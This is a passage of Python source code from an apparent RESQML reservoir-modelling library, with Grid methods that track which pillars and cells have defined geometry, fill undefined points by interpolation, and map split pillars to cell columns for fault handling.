self.geometry_defined_for_all_cells_cached = False\n return False\n self.geometry_defined_for_all_cells_cached = True\n return True\n\n\n def geometry_defined_for_all_pillars(self, cache_array = True, pillar_geometry_is_defined_root = None):\n \"\"\"Returns True if geometry is defined for all pillars; False otherwise.\n\n arguments:\n cache_array (boolean, default True): if True, the 'pillar geometry is defined' array is cached in memory,\n unless the xml indicates that geometry is defined for all pillars, in which case that is noted\n pillar_geometry_is_defined_root (optional): if present, the root of the 'pillar geometry is defined' xml tree for\n this grid; this optional argument is to allow for speed optimisation, to save searching for the node\n\n returns:\n boolean: True if the geometry is defined for all pillars; False otherwise\n \"\"\"\n\n if self.geometry_defined_for_all_pillars_cached is not None: return self.geometry_defined_for_all_pillars_cached\n if cache_array:\n self.pillar_geometry_is_defined(cache_array = cache_array)\n return self.geometry_defined_for_all_pillars_cached\n is_def_root = self.resolve_geometry_child('PillarGeometryIsDefined', child_node = pillar_geometry_is_defined_root)\n self.geometry_defined_for_all_pillars_cached = True\n if is_def_root is not None:\n for pillar_j in range(self.nj):\n for pillar_i in range(self.ni):\n if not self.pillar_geometry_is_defined([pillar_j, pillar_i],\n pillar_geometry_is_defined_root = is_def_root,\n cache_array = False):\n self.geometry_defined_for_all_pillars_cached = False\n break\n if not self.geometry_defined_for_all_pillars_cached: break\n return self.geometry_defined_for_all_pillars_cached\n\n\n def cell_geometry_is_defined_ref(self):\n \"\"\"Returns an in-memory numpy array containing the boolean data indicating which cells have geometry defined.\n\n returns:\n numpy array of booleans of shape (nk, nj, ni); True value indicates cell has geometry defined; False\n indicates that the cell's geometry (points xyz values) cannot be used\n\n note:\n if geometry is flagged in the xml as being defined for all cells, then this function returns None;\n geometry_defined_for_all_cells() can be used to test for that situation\n \"\"\"\n\n # todo: treat this array like any other property?; handle constant array seamlessly?\n self.cell_geometry_is_defined(cache_array = True)\n if hasattr(self, 'array_cell_geometry_is_defined'): return self.array_cell_geometry_is_defined\n return None # can happen, if geometry is defined for all cells\n\n\n def pillar_geometry_is_defined_ref(self):\n \"\"\"Returns an in-memory numpy array containing the boolean data indicating which pillars have geometry defined.\n\n returns:\n numpy array of booleans of shape (nj + 1, ni + 1); True value indicates pillar has geometry defined (at\n least for some points); False indicates that the pillar's geometry (points xyz values) cannot be used;\n the resulting array only covers primary pillars; extra pillars for split pillars always have geometry\n defined\n\n note:\n if geometry is flagged in the xml as being defined for all pillars, then this function returns None\n \"\"\"\n\n # todo: double-check behaviour in presence of split pillars\n # todo: treat this array like any other property?; handle constant array seamlessly?\n self.pillar_geometry_is_defined(cache_array = True)\n if hasattr(self, 'array_pillar_geometry_is_defined'): return self.array_pillar_geometry_is_defined\n return None # can happen, if geometry is defined for all pillars\n\n\n def set_geometry_is_defined(self, treat_as_nan = None, treat_dots_as_nan = False, complete_partial_pillars = False,\n nullify_partial_pillars = False, complete_all = False):\n \"\"\"Sets cached flags and/or arrays indicating which primary pillars have any points defined and which cells all points.\n\n arguments:\n treat_as_nan (float, optional): if present, any point with this value as x, y or z is changed\n to hold NaN values, which is the correct RESQML representation of undefined values\n treat_dots_as_nan (boolean, default False): if True, the points around any inactive cell which has zero length along\n all its I and J edges will be set to NaN (which can intentionally invalidate the geometry of neighbouring cells)\n complete_partial_pillars (boolean, default False): if True, pillars which have some but not all points defined will\n have values generated for the undefined (NaN) points\n nullify_partial_pillars (boolean, default False): if True, pillars which have some undefined (NaN) points will be\n treated as if all the points on the pillar are undefined\n complete_all (boolean, default False): if True, values will be generated for all undefined points (includes\n completion of partial pillars if both partial pillar arguments are False)\n\n notes:\n this method discards any previous information about which pillars and cells have geometry defined; the new settings\n are based solely on where points data is NaN (or has the value supplied as treat_as_nan etc.);\n the inactive attribute is also updated by this method, though any cells previously flagged as inactive will still be\n inactive;\n if points are generated due to either complete... argument being set True, the inactive mask is set prior to\n generating points, so all cells making use of generated points will be inactive; however, the geometry will show\n as defined where points have been generated;\n at most one of complete_partial_pillars and nullify_partial_pillars may be True;\n although the method modifies the cached (attribute) copies of various arrays, they are not written to hdf5 here\n \"\"\"\n\n def infill_partial_pillar(grid, pillar_index):\n points = grid.points_ref(masked = False).reshape((grid.nk_plus_k_gaps + 1, -1, 3))\n nan_mask = np.isnan(points[:, pillar_index, 0])\n first_k = 0\n while first_k < grid.nk_plus_k_gaps + 1 and nan_mask[first_k]: first_k += 1\n assert first_k < grid.nk_plus_k_gaps + 1\n if first_k > 0: points[:first_k, pillar_index] = points[first_k, pillar_index]\n last_k = grid.nk_plus_k_gaps\n while nan_mask[last_k]: last_k -= 1\n if last_k < grid.nk_plus_k_gaps: points[last_k + 1:, pillar_index] = points[last_k, pillar_index]\n while True:\n while first_k < last_k and not nan_mask[first_k]: first_k += 1\n if first_k >= last_k: break\n scan_k = first_k + 1\n while nan_mask[scan_k]: scan_k += 1\n points[first_k - 1 : scan_k, pillar_index] = \\\n np.linspace(points[first_k - 1, pillar_index], points[scan_k, pillar_index],\n num = scan_k - first_k + 1, endpoint = False)\n first_k = scan_k\n\n def create_surround_masks(top_nan_mask):\n assert top_nan_mask.ndim == 2\n nj1, ni1 = top_nan_mask.shape # nj + 1, ni + 1\n surround_mask = np.zeros(top_nan_mask.shape, dtype = bool)\n coastal_mask = np.zeros(top_nan_mask.shape, dtype = bool)\n for j in range(nj1):\n i = 0\n while i < ni1 and top_nan_mask[j, i]:\n coastal_mask[j, i] = True\n i += 1\n if i < ni1:\n i = ni1 - 1\n while top_nan_mask[j, i]:\n coastal_mask[j, i] = True\n i -= 1\n else:\n surround_mask[j] = True\n coastal_mask[j] = False\n for i in range(ni1):\n j = 0\n while j < nj1 and top_nan_mask[j, i]:\n coastal_mask[j, i] = True\n j += 1\n if j < nj1:\n j = nj1 - 1\n while top_nan_mask[j, i]:\n coastal_mask[j, i] = True\n j -= 1\n else:\n surround_mask[:, i] = True\n coastal_mask[:, i] = False\n return surround_mask, coastal_mask\n\n def fill_holes(grid, holes_mask):\n log.debug(f'filling {np.count_nonzero(holes_mask)} pillars for holes')\n points = grid.points_ref(masked = False).reshape(grid.nk_plus_k_gaps + 1, -1, 3)\n ni_plus_1 = grid.ni + 1\n mask_01 = np.empty(holes_mask.shape, dtype = int)\n while np.any(holes_mask):\n flat_holes_mask = holes_mask.flatten()\n mask_01[:] = np.where(holes_mask, 0, 1)\n modified = False\n # fix isolated NaN pillars with 4 neighbours\n neighbours = np.zeros(holes_mask.shape, dtype = int)\n neighbours[:-1, :] += mask_01[1:, :]\n neighbours[1:, :] += mask_01[:-1, :]\n neighbours[:, :-1] += mask_01[:, 1:]\n neighbours[:, 1:] += mask_01[:, :-1]\n foursomes = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 4))[0]\n if len(foursomes) > 0:\n interpolated = 0.25 * (points[:, foursomes - 1, :] + points[:, foursomes + 1, :] +\n points[:, foursomes - ni_plus_1, :] + points[:, foursomes + ni_plus_1, :])\n points[:, foursomes, :] = interpolated\n flat_holes_mask[foursomes] = False\n modified = True\n # fix NaN pillars with defined opposing neighbours in -J and +J\n neighbours[:] = 0\n neighbours[:-1, :] += mask_01[1:, :]\n neighbours[1:, :] += mask_01[:-1, :]\n twosomes = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 2))[0]\n if len(twosomes) > 0:\n interpolated = 0.5 * (points[:, twosomes - ni_plus_1, :] + points[:, twosomes + ni_plus_1, :])\n points[:, twosomes, :] = interpolated\n flat_holes_mask[twosomes] = False\n modified = True\n # fix NaN pillars with defined opposing neighbours in -I and +I\n neighbours[:] = 0\n neighbours[:, :-1] += mask_01[:, 1:]\n neighbours[:, 1:] += mask_01[:, :-1]\n twosomes = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 2))[0]\n if len(twosomes) > 0:\n interpolated = 0.5 * (points[:, twosomes - 1, :] + points[:, twosomes + 1, :])\n points[:, twosomes, :] = interpolated\n flat_holes_mask[twosomes] = False\n modified = True\n # fix NaN pillars with defined cornering neighbours in J- and I-\n neighbours[:] = 0\n neighbours[1:, :] += mask_01[:-1, :]\n neighbours[:, 1:] += mask_01[:, :-1]\n corners = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 2))[0]\n neighbours[1:, 1:] += mask_01[:-1, :-1]\n pushable = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 3))[0]\n if len(corners) > 0:\n interpolated = 0.5 * (points[:, corners - ni_plus_1, :] + points[:, corners - 1, :])\n points[:, corners, :] = interpolated\n pushed = 2.0 * points[:, pushable, :] - points[:, pushable - ni_plus_1 - 1, :]\n points[:, pushable, :] = pushed\n flat_holes_mask[corners] = False\n modified = True\n # fix NaN pillars with defined cornering neighbours in J- and I+\n neighbours[:] = 0\n neighbours[1:, :] += mask_01[:-1, :]\n neighbours[:, :-1] += mask_01[:, 1:]\n corners = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 2))[0]\n neighbours[1:, :-1] += mask_01[:-1, 1:]\n pushable = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 3))[0]\n if len(corners) > 0:\n interpolated = 0.5 * (points[:, corners - ni_plus_1, :] + points[:, corners + 1, :])\n points[:, corners, :] = interpolated\n pushed = 2.0 * points[:, pushable, :] - points[:, pushable - ni_plus_1 + 1, :]\n points[:, pushable, :] = pushed\n flat_holes_mask[corners] = False\n modified = True\n # fix NaN pillars with defined cornering neighbours in J+ and I-\n neighbours[:] = 0\n neighbours[:-1, :] += mask_01[1:, :]\n neighbours[:, 1:] += mask_01[:, :-1]\n corners = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 2))[0]\n neighbours[:-1, 1:] += mask_01[1:, :-1]\n pushable = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 3))[0]\n if len(corners) > 0:\n interpolated = 0.5 * (points[:, corners + ni_plus_1, :] + points[:, corners - 1, :])\n points[:, corners, :] = interpolated\n pushed = 2.0 * points[:, pushable, :] - points[:, pushable + ni_plus_1 - 1, :]\n points[:, pushable, :] = pushed\n flat_holes_mask[corners] = False\n modified = True\n # fix NaN pillars with defined cornering neighbours in J+ and I+\n neighbours[:] = 0\n neighbours[:-1, :] += mask_01[1:, :]\n neighbours[:, :-1] += mask_01[:, 1:]\n corners = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 2))[0]\n neighbours[:-1, :-1] += mask_01[1:, 1:]\n pushable = np.where(np.logical_and(flat_holes_mask, neighbours.flatten() == 3))[0]\n if len(corners) > 0:\n interpolated = 0.5 * (points[:, corners + ni_plus_1, :] + points[:, corners + 1, :])\n points[:, corners, :] = interpolated\n pushed = 2.0 * points[:, pushable, :] - points[:, pushable + ni_plus_1 + 1, :]\n points[:, pushable, :] = pushed\n flat_holes_mask[corners] = False\n modified = True\n holes_mask = flat_holes_mask.reshape((grid.nj + 1, ni_plus_1))\n if not modified:\n log.warning('failed to fill all holes in grid geometry')\n break\n\n def fill_surround(grid, surround_mask):\n # note: only fills x,y; based on bottom layer of points; assumes surround mask is a regularly shaped frame of columns\n log.debug(f'filling {np.count_nonzero(surround_mask)} pillars for surround')\n points = grid.points_ref(masked = False)\n points_view = points[-1, :, :2].reshape((-1, 2))[:(grid.nj + 1) * (grid.ni + 1), :].reshape((grid.nj + 1, grid.ni + 1, 2))\n modified = False\n if grid.nj > 1:\n j_xy_vector = np.nanmean(points_view[1:, :] - points_view[:-1, :])\n j = 0\n while j < grid.nj and np.all(surround_mask[j, :]): j += 1\n assert j < grid.nj\n while j > 0:\n points_view[j - 1, :] = points_view[j, :] - j_xy_vector\n modified = True\n j -= 1\n j = grid.nj - 1\n while j >= 0 and np.all(surround_mask[j, :]): j -= 1\n assert j >= 0\n while j < grid.nj - 1:\n points_view[j + 1, :] = points_view[j, :] + j_xy_vector\n modified = True\n j += 1\n if grid.ni > 1:\n i_xy_vector = np.nanmean(points_view[:, 1:] - points_view[:, :-1])\n i = 0\n while i < grid.ni and np.all(surround_mask[:, i]): i += 1\n assert i < grid.ni\n while i > 0:\n points_view[:, i - 1] = points_view[:, i] - i_xy_vector\n modified = True\n i -= 1\n i = grid.ni - 1\n while i >= 0 and np.all(surround_mask[:, i]): i -= 1\n assert i >= 0\n while i < grid.ni - 1:\n points_view[:, i + 1] = points_view[:, i] + i_xy_vector\n modified = True\n i += 1\n if modified:\n points.reshape((grid.nk_plus_k_gaps + 1, -1, 3))[:-1, :(grid.nj + 1) * (grid.ni + 1), :2][:, surround_mask.flatten(), :] = \\\n points_view[surround_mask, :].reshape((1, -1, 2))\n\n assert not (complete_partial_pillars and nullify_partial_pillars)\n if complete_all and not nullify_partial_pillars: complete_partial_pillars = True\n\n points = self.points_ref(masked = False)\n\n if treat_as_nan is not None:\n nan_mask = np.any(np.logical_or(np.isnan(points), points == treat_as_nan), axis = -1)\n else:\n nan_mask = np.any(np.isnan(points), axis = -1)\n\n if treat_dots_as_nan:\n areal_dots = self.point_areally()\n some_areal_dots = np.any(areal_dots)\n else:\n areal_dots = None\n some_areal_dots = False\n\n self.geometry_defined_for_all_pillars_cached = None\n if hasattr(self, 'array_pillar_geometry_is_defined'): del self.array_pillar_geometry_is_defined\n self.geometry_defined_for_all_cells_cached = None\n if hasattr(self, 'array_cell_geometry_is_defined'): del self.array_cell_geometry_is_defined\n\n if not np.any(nan_mask) and not some_areal_dots:\n self.geometry_defined_for_all_pillars_cached = True\n self.geometry_defined_for_all_cells_cached = True\n return\n\n if some_areal_dots:\n # inject NaNs into the pillars around any cell that has zero length in I and J\n if self.k_gaps:\n dot_mask = np.zeros((self.nk_plus_k_gaps + 1, self.nj + 1, self.ni + 1), dtype = bool)\n dot_mask[self.k_raw_index_array, :-1, :-1] = areal_dots\n dot_mask[self.k_raw_index_array + 1, :-1, :-1] = np.logical_or(dot_mask[self.k_raw_index_array + 1, :-1, :-1], areal_dots)\n else:\n dot_mask = np.zeros((self.nk + 1, self.nj + 1, self.ni + 1), dtype = bool)\n dot_mask[:-1, :-1, :-1] = areal_dots\n dot_mask[1:, :-1, :-1] = np.logical_or(dot_mask[:-1, :-1, :-1], areal_dots)\n dot_mask[:, 1:, :-1] = np.logical_or(dot_mask[:, :-1, :-1], dot_mask[:, 1:, :-1])\n dot_mask[:, :, 1:] = np.logical_or(dot_mask[:, :, :-1], dot_mask[:, :, 1:])\n if self.has_split_coordinate_lines:\n # only set points in primary pillars to NaN; todo: more thorough to consider split pillars too\n primaries = (self.nj + 1) * (self.ni + 1)\n nan_mask[:, :primaries] = np.logical_or(nan_mask[:, :primaries], dot_mask.reshape((-1, primaries)))\n else:\n nan_mask = np.where(dot_mask, np.NaN, nan_mask)\n\n assert not np.all(nan_mask), 'grid does not have any geometry defined'\n\n points[:] = np.where(np.repeat(np.expand_dims(nan_mask, axis = nan_mask.ndim), 3, axis = -1), np.NaN, points)\n\n surround_z = self.xyz_box(lazy = False)[1 if self.z_inc_down() else 0, 2]\n\n pillar_defined_mask = np.logical_not(np.all(nan_mask, axis = 0)).flatten()\n primary_count = (self.nj + 1) * (self.ni + 1)\n if np.all(pillar_defined_mask):\n self.geometry_defined_for_all_pillars_cached = True\n else:\n self.geometry_defined_for_all_pillars_cached = False\n self.array_pillar_geometry_is_defined = pillar_defined_mask[:primary_count].reshape((self.nj + 1, self.ni + 1))\n if pillar_defined_mask.size > primary_count and not np.all(pillar_defined_mask[primary_count:]):\n log.warning('at least one split pillar has geometry undefined')\n\n self.geometry_defined_for_all_cells_cached = False\n\n primary_nan_mask = \\\n nan_mask.reshape((self.nk_plus_k_gaps + 1, -1))[:, :primary_count].reshape((self.nk_plus_k_gaps + 1, self.nj + 1, self.ni + 1))\n column_nan_mask = np.logical_or(np.logical_or(primary_nan_mask[:, :-1, :-1], primary_nan_mask[:, :-1, 1:]),\n np.logical_or(primary_nan_mask[:, 1:, :-1], primary_nan_mask[:, 1:, 1:]))\n if self.k_gaps:\n self.array_cell_geometry_is_defined = np.logical_not(np.logical_or(column_nan_mask[self.k_raw_index_array],\n column_nan_mask[self.k_raw_index_array + 1]))\n else:\n self.array_cell_geometry_is_defined = np.logical_not(np.logical_or(column_nan_mask[:-1], column_nan_mask[1:]))\n\n if hasattr(self, 'inactive') and self.inactive is not None:\n self.inactive = np.logical_or(self.inactive, np.logical_not(self.array_cell_geometry_is_defined))\n else:\n self.inactive = np.logical_not(self.array_cell_geometry_is_defined)\n self.all_inactive = np.all(self.inactive)\n\n if self.geometry_defined_for_all_cells_cached: return\n\n cells_update_needed = False\n\n if nullify_partial_pillars:\n partial_pillar_mask = np.logical_and(pillar_defined_mask, np.any(nan_mask, axis = 0).flatten())\n if np.any(partial_pillar_mask):\n points.reshape((self.nk_plus_k_gaps + 1, -1, 3))[:, partial_pillar_mask, :] = np.NaN\n cells_update_needed = True\n elif complete_partial_pillars:\n partial_pillar_mask = np.logical_and(pillar_defined_mask, np.any(nan_mask, axis = 0).flatten())\n if np.any(partial_pillar_mask):\n log.warning('completing geometry for partially defined pillars')\n for pillar_index in np.where(partial_pillar_mask)[0]:\n infill_partial_pillar(self, pillar_index)\n cells_update_needed = True\n\n if complete_all:\n # note: each pillar is either fully defined or fully undefined at this point\n top_nan_mask = np.isnan(points[0, ..., 0].flatten()[:(self.nj + 1) * (self.ni + 1)].reshape((self.nj + 1, self.ni + 1)))\n surround_mask, coastal_mask = create_surround_masks(top_nan_mask)\n holes_mask = np.logical_and(top_nan_mask, np.logical_not(surround_mask))\n if np.any(holes_mask): fill_holes(self, holes_mask)\n if np.any(surround_mask): fill_surround(self, surround_mask)\n # set z values for coastal and surround to max z for grid\n surround_mask = np.logical_or(surround_mask, coastal_mask).flatten()\n if np.any(surround_mask):\n points.reshape(self.nk_plus_k_gaps + 1, -1, 3)[:, :(self.nj + 1) * (self.ni + 1)][:, surround_mask, 2] = surround_z\n self.geometry_defined_for_all_pillars_cached = True\n if hasattr(self, 'array_pillar_geometry_is_defined'): del self.array_pillar_geometry_is_defined\n cells_update_needed = False\n assert not np.any(np.isnan(points))\n self.geometry_defined_for_all_cells_cached = True\n if hasattr(self, 'array_cell_geometry_is_defined'): del self.array_cell_geometry_is_defined\n\n if cells_update_needed:\n # note: each pillar is either fully defined or fully undefined at this point\n if self.geometry_defined_for_all_pillars_cached:\n self.geometry_defined_for_all_cells_cached = True\n if hasattr(self, 'array_cell_geometry_is_defined'): del self.array_cell_geometry_is_defined\n else:\n top_nan_mask = np.isnan(points[0, ..., 0].flatten()[:(self.nj + 1) * (self.ni + 1)].reshape((self.nj + 1, self.ni + 1)))\n column_nan_mask = np.logical_or(np.logical_or(top_nan_mask[:-1, :-1], top_nan_mask[:-1, 1:]),\n np.logical_or(top_nan_mask[1:, :-1], top_nan_mask[1:, 1:]))\n self.array_cell_geometry_is_defined = np.repeat(np.expand_dims(column_nan_mask, 0), self.nk, axis = 0)\n self.geometry_defined_for_all_cells_cached = np.all(self.array_cell_geometry_is_defined)\n if self.geometry_defined_for_all_cells_cached: del self.array_cell_geometry_is_defined\n\n\n def actual_pillar_shape(self, patch_metadata = False, tolerance = 0.001):\n \"\"\"Returns actual shape of pillars.\n\n arguments:\n patch_metadata (boolean, default False): if True, the actual shape replaces whatever was in the metadata\n tolerance (float, default 0.001): a length value (in units of grid xy units) used as a Manhattan distance\n limit in the xy plane when considering whether a point lies 'on' a straight line\n\n returns:\n string: 'vertical', 'straight' or 'curved'\n\n note:\n setting patch_metadata True will affect the attribute in this Grid object; however, it will not be\n preserved unless the create_xml() method is called, followed at some point with model.store_epc()\n \"\"\"\n\n pillar_shape = gf.actual_pillar_shape(self.points_ref(masked = False), tolerance = tolerance)\n if patch_metadata: self.pillar_shape = pillar_shape\n return pillar_shape\n\n\n def cache_all_geometry_arrays(self):\n \"\"\"Loads from hdf5 into memory all the arrays defining the grid geometry.\n\n returns:\n None\n\n notes:\n call this method if much grid geometry processing is coming up, to save having to worry about\n individual caching arguments to many other methods;\n this method does not create a column to pillar mapping which will often also be needed;\n the arrays are cached as direct attributes to this grid object;\n the names, shapes and types of the attributes are:\n array_cell_geometry_is_defined (nk, nj, ni) bool\n array_pillar_geometry_is_defined (nj + 1, ni + 1) bool\n points_cached (nk + 1, nj + 1, ni + 1, 3) or (nk + 1, np, 3) float (np = number of primary pillars)\n split_pillar_indices_cached (nps) int (nps = number of primary pillars that are split)\n cols_for_split_pillars (npxc) int (npxc = number of column corners using extra pillars due to splitting)\n cols_for_split_pillars_cl (npx) int (npx = number of extra pillars due to splitting)\n the last 3 are only present when the grid has one or more split pillars;\n the split pillar data includes the use of a 'jagged' array (effectively an array of lists represented as\n a linear array and a 'cumulative length' index array)\n\n :meta common:\n \"\"\"\n\n # todo: recheck the description of split pillar arrays given in the doc string\n self.cell_geometry_is_defined(cache_array = True)\n self.pillar_geometry_is_defined(cache_array = True)\n self.point(cache_array = True)\n if self.has_split_coordinate_lines:\n split_root = None\n if not hasattr(self, 'split_pillar_indices_cached'):\n split_root = self.resolve_geometry_child('SplitCoordinateLines')\n # assert(rqet.node_type(split_root) == 'ColumnLayerSplitCoordinateLines')\n pillar_indices_root = rqet.find_tag(split_root, 'PillarIndices')\n h5_key_pair = self.model.h5_uuid_and_path_for_node(pillar_indices_root)\n self.model.h5_array_element(h5_key_pair, index = None, cache_array = True, object = self,\n array_attribute = 'split_pillar_indices_cached', dtype = 'int')\n if not hasattr(self, 'cols_for_split_pillars'):\n if split_root is None: split_root = self.resolve_geometry_child('SplitCoordinateLines')\n cpscl_root = rqet.find_tag(split_root, 'ColumnsPerSplitCoordinateLine')\n cpscl_elements_root = rqet.find_tag(cpscl_root, 'Elements')\n h5_key_pair = self.model.h5_uuid_and_path_for_node(cpscl_elements_root)\n self.model.h5_array_element(h5_key_pair, index = None, cache_array = True, object = self,\n array_attribute = 'cols_for_split_pillars', dtype = 'int')\n cpscl_cum_length_root = rqet.find_tag(cpscl_root, 'CumulativeLength')\n h5_key_pair = self.model.h5_uuid_and_path_for_node(cpscl_cum_length_root)\n self.model.h5_array_element(h5_key_pair, index = None, cache_array = True, object = self,\n array_attribute = 'cols_for_split_pillars_cl', dtype = 'int')\n\n\n def column_is_inactive(self, col_ji0):\n \"\"\"Returns True if all the cells in the specified column are inactive.\n\n arguments:\n col_ji0 (int pair): the (j0, i0) column indices\n\n returns:\n boolean: True if all the cells in the column are inactive; False if at least one cell is active\n \"\"\"\n\n self.extract_inactive_mask()\n if self.inactive is None: return False # no inactive mask indicates all cells are active\n return np.all(self.inactive[:, col_ji0[0], col_ji0[1]])\n\n\n def create_column_pillar_mapping(self):\n \"\"\"Creates an array attribute holding set of 4 pillar indices for each I, J column of cells.\n\n returns:\n numpy integer array of shape (nj, ni, 2, 2) where the last two indices are jp, ip;\n the array contains the pillar index for each of the 4 corners of each column of cells\n\n notes:\n the array is also cached as an attribute of the grid object: self.pillars_for_column\n for grids with split coordinates lines (faults), this array allows for fast access to\n the correct pillar data for the corner of a column of cells;\n here and elsewhere, ip & jp (& kp) refer to a 0 or 1 index which determines the side\n of a cell, ip & jp together select one of the four corners of a column;\n the pillar index is a single integer, which is used as the second index into the points\n array for a grid geometry with split pillars;\n for unsplit grid geometries, such a pillar index must be converted back into a j', i'\n pair of indices (or the points array must be reshaped to combine the two indices into one)\n\n :meta common:\n \"\"\"\n\n if hasattr(self, 'pillars_for_column') and self.pillars_for_column is not None: return self.pillars_for_column\n\n self.cache_all_geometry_arrays()\n\n self.pillars_for_column = np.empty((self.nj, self.ni, 2, 2), dtype = int)\n ni_plus_1 = self.ni + 1\n\n for j in range(self.nj):\n self.pillars_for_column[j, :, 0, 0] = np.arange(j * ni_plus_1, (j + 1) * ni_plus_1 - 1, dtype = int)\n self.pillars_for_column[j, :, 0, 1] = np.arange(j * ni_plus_1 + 1, (j + 1) * ni_plus_1, dtype = int)\n self.pillars_for_column[j, :, 1, 0] = np.arange((j + 1) * ni_plus_1, (j + 2) * ni_plus_1 - 1, dtype = int)\n self.pillars_for_column[j, :, 1, 1] = np.arange((j + 1) * ni_plus_1 + 1, (j + 2) * ni_plus_1, dtype = int)\n\n if self.has_split_coordinate_lines:\n unsplit_pillar_count = (self.nj + 1) * ni_plus_1\n extras_count = len(self.split_pillar_indices_cached)\n for extra_index in range(extras_count):\n primary = self.split_pillar_indices_cached[extra_index]\n primary_ji0 = divmod(primary, self.ni + 1)\n extra_pillar_index = unsplit_pillar_count + extra_index\n if extra_index == 0: start = 0\n else: start = self.cols_for_split_pillars_cl[extra_index - 1]\n for cpscl_index in range(start, self.cols_for_split_pillars_cl[extra_index]):\n col = self.cols_for_split_pillars[cpscl_index]\n j, i = divmod(col, self.ni)\n jp = primary_ji0[0] - j\n ip = primary_ji0[1] - i\n assert (jp == 0 or jp == 1) and (ip == 0 or ip == 1)\n self.pillars_for_column[j, i, jp, ip] = extra_pillar_index\n\n return self.pillars_for_column\n\n\n def pillar_foursome(self, ji0, none_if_unsplit = False):\n \"\"\"Returns a numpy int array of shape (2, 2) being the natural pillar indices applicable to each column around primary.\n\n arguments:\n ji0 (pair of ints): the pillar indices (j0, i0) of the primary pillar of interest\n none_if_unsplit (boolean, default False): if True and the primary pillar is unsplit, None is returned; if False,\n a foursome is returned full of the natural index of the primary pillar\n\n returns:\n numpy int array of shape (2, 2) being the natural pillar indices (second axis index in raw points array)\n applicable to each of the four columns around the primary pillar; axes of foursome are (jp, ip); if the\n primary pillar is unsplit, None is returned if none_if_unsplit is set to True, otherwise the foursome as\n usual\n \"\"\"\n\n j0, i0 = ji0\n\n self.cache_all_geometry_arrays()\n\n primary = (self.ni + 1) * j0 + i0\n foursome = np.full((2, 2), primary, dtype = int) # axes are: jp, ip\n if not self.has_split_coordinate_lines: return None if none_if_unsplit else foursome\n extras = np.where(self.split_pillar_indices_cached == primary)[0]\n if len(extras) == 0: return None if none_if_unsplit else foursome\n\n primary_count = (self.nj + 1) * (self.ni + 1)\n assert len(self.cols_for_split_pillars) == self.cols_for_split_pillars_cl[-1]\n for cpscl_index in extras:\n if cpscl_index == 0: start_index = 0\n else: start_index = self.cols_for_split_pillars_cl[cpscl_index - 1]\n for csp_index in range(start_index, self.cols_for_split_pillars_cl[cpscl_index]):\n natural_col = self.cols_for_split_pillars[csp_index]\n col_j0_e, col_i0_e = divmod(natural_col, self.ni)\n col_j0_e -= (j0 - 1)\n col_i0_e -= (i0 - 1)\n assert col_j0_e in [0, 1] and col_i0_e in [0, 1]\n foursome[col_j0_e, col_i0_e] = primary_count + cpscl_index\n\n return foursome\n\n\n def is_split_column_face(self, j0, i0, axis, polarity):\n \"\"\"Returns True if the I or J column face is split; False otherwise.\"\"\"\n\n if not self.has_split_coordinate_lines: return False\n assert axis in (1, 2)\n if axis == 1: # J\n ip = i0\n if polarity:\n if j0 == self.nj - 1: return False\n jp = j0 + 1\n else:\n if j0 == 0: return False\n jp = j0 - 1\n else: # I\n jp = j0\n if polarity:\n if i0 == self.ni - 1: return False\n ip = i0 + 1\n else:\n if i0 == 0: return False\n ip = i0 - 1\n cpm = self.create_column_pillar_mapping()\n if axis == 1:\n return ((cpm[j0, i0, polarity, 0] != cpm[jp, ip, 1 - polarity, 0]) or\n (cpm[j0, i0, polarity, 1] != cpm[jp, ip, 1 - polarity, 1]))\n else:\n return ((cpm[j0, i0, 0, polarity] != cpm[jp, ip, 0, 1 - polarity]) or\n (cpm[j0, i0, 1, polarity] != cpm[jp, ip, 1, 1 - polarity]))\n\n\n def split_column_faces(self):\n \"\"\"Returns a pair of numpy boolean arrays indicating which internal column faces (column edges) are split.\"\"\"\n\n if not self.has_split_coordinate_lines: return None, None\n if (hasattr(self, 'array_j_column_face_split') and self.array_j_column_face_split is not None and\n hasattr(self, 'array_i_column_face_split') and self.array_i_column_face_split is not None):\n return self.array_j_column_face_split, self.array_i_column_face_split\n if self.nj == 1: self.array_j_column_face_split = None\n else: self.array_j_column_face_split = np.zeros((self.nj - 1, self.ni), dtype = bool) # NB. internal faces only, index for +ve face\n if self.ni == 1: self.array_i_column_face_split = None\n else: self.array_i_column_face_split = np.zeros((self.nj, self.ni - 1), dtype = bool) # NB. internal faces only, index for +ve face\n self.create_column_pillar_mapping()\n for spi in self.split_pillar_indices_cached:\n j_p, i_p = divmod(spi, self.ni + 1)\n if j_p > 0 and j_p < self.nj:\n if i_p > 0 and self.is_split_column_face(j_p, i_p - 1, 1, 0): self.array_j_column_face_split[j_p - 1, i_p - 1] = True\n if i_p < self.ni - 1 and self.is_split_column_face(j_p, i_p, 1, 0): self.array_j_column_face_split[j_p - 1, i_p] = True\n if i_p > 0 and i_p < self.ni:\n if j_p > 0 and self.is_split_column_face(j_p - 1, i_p, 2, 0): self.array_i_column_face_split[j_p - 1, i_p - 1] = True\n if j_p < self.nj - 1 and self.is_split_column_face(j_p, i_p, 2, 0): self.array_i_column_face_split[j_p, i_p - 1] = True\n return self.array_j_column_face_split, self.array_i_column_face_split\n\n\n def find_faults(self, set_face_sets = False, create_organizing_objects_where_needed = False):\n \"\"\"Searches for column-faces that are faulted and assigns fault ids; creates list of column-faces per fault id.\n\n note:\n this method is deprecated, or due for overhaul to make compatible with resqml_fault module and the\n GridConnectionSet class\n \"\"\"\n\n # note:the logic to group kelp into distinct fault ids is simplistic and won't always give the right grouping\n\n if set_face_sets: self.clear_face_sets()\n\n if hasattr(self, 'fault_dict') and self.fault_dict is not None and len(self.fault_dict.keys()) > 0:\n if set_face_sets:\n for f, (j_list, i_list) in self.fault_dict.items():\n self.face_set_dict[f] = (j_list, i_list, 'K')\n self.set_face_set_gcs_list_from_dict(self.fault_dict, create_organizing_objects_where_needed)\n return None\n\n log.info('looking for faults in grid')\n self.create_column_pillar_mapping()\n if not self.has_split_coordinate_lines:\n log.info('grid does not have split coordinate lines, ie. is unfaulted')\n self.fault_dict = None\n return None\n\n # note: if Ni or Nj is 